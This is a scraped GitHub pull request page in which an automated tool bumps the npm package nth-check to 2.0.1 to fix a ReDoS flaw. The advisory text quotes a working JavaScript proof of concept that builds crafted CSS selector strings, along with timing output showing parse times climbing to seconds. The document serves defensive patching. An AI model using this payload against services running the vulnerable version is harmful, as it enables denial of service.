📦 Bump npm:nth-check:2.0.0 from 2.0.0 to 2.0.1#2
Open
softforgeinc wants to merge 1 commit intomainfrom
Open
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Lineaje has automatically created this pull request to resolve the following CVEs:
nth-check that causes a denial of service when parsing crafted invalid CSS
nth-checks. The ReDoS vulnerabilities of the regex are mainly due to the
sub-pattern
\s*(?:([+-]?)\s*(\d+))?with quantified overlapping adjacency andcan be exploited with the following code. Proof of Concept
js // PoC.js<br>var nthCheck = require("nth-check") for(var i = 1; i <= 50000; i++) { var time =<br>Date.now(); var attack_str = '2n' + ' '.repeat(i*10000)+"!"; try {<br>nthCheck.parse(attack_str) } catch(err) { var time_cost = Date.now() - time;<br>console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") }<br>}The Outputattack_str.length: 10003: 174 ms attack_str.length:<br>20003: 1427 ms attack_str.length: 30003: 2602 ms attack_str.length: 40003: 4378<br>ms attack_str.length: 50003: 7473 msYou can merge this PR once the tests pass and the changes are reviewed.
Thank you for reviewing the update! 🚀